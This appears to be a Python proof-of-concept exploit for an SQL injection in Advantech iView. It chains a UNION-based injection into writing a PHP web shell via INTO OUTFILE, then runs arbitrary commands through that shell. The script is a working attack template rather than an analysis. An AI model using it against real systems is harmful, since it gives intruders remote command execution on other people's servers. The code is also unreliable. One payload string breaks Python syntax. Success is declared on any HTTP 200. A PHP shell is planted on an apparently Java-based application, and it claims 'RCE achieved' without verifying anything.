# CVE-2022-50595 PoC - Advantech iView SQL Injection RCE
# Target: Advantech iView < v5.7.04 build 6425
# Author: VulnCheck / Exodus Intelligence
import requests
import sys
TARGET = "http://target:8080"
def exploit_sqli(target):
"""SQL Injection to RCE via ztp_search_value parameter"""
# Step 1: Authentication Bypass + SQL Injection
# The ztp_search_value parameter is vulnerable to SQL injection
# Attackers can use UNION-based injection to extract data
endpoint = f"{target}/NetworkServlet"
# Malicious payload for SQL injection
# This extracts MySQL user/password hash for further exploitation
sqli_payload = "' UNION SELECT 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 --"
params = {
"ztp_search_value": sqli_payload,
"ztp_search_field": "some_field"
}
try:
response = requests.get(endpoint, params=params, timeout=30)
print(f"[*] Request sent to {endpoint}")
print(f"[*] Status: {response.status_code}")
if response.status_code == 200:
# Parse response for extracted data
print(f"[+] SQL Injection successful - Data extracted")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
return False
def write_web_shell(target):
"""Write web shell via SQL injection for RCE"""
# Use INTO OUTFILE to write PHP shell
shell_payload = "' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --"
endpoint = f"{target}/NetworkServlet"
params = {
"ztp_search_value": shell_payload
}
try:
response = requests.get(endpoint, params=params, timeout=30)
print(f"[*] Attempting to write web shell...")
return True
except:
return False
def execute_command(target, cmd):
"""Execute system command via web shell"""
shell_url = f"{target}/shell.php"
try:
response = requests.get(shell_url, params={"cmd": cmd}, timeout=30)
return response.text
except:
return None
if __name__ == "__main__":
print("CVE-2022-50595 Advantech iView SQL Injection RCE PoC")
print("=" * 60)
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = TARGET
print(f"[*] Target: {target}")
# Exploit the vulnerability
if exploit_sqli(target):
print("[+] Vulnerability confirmed!")
write_web_shell(target)
print("[+] Web shell written, RCE achieved")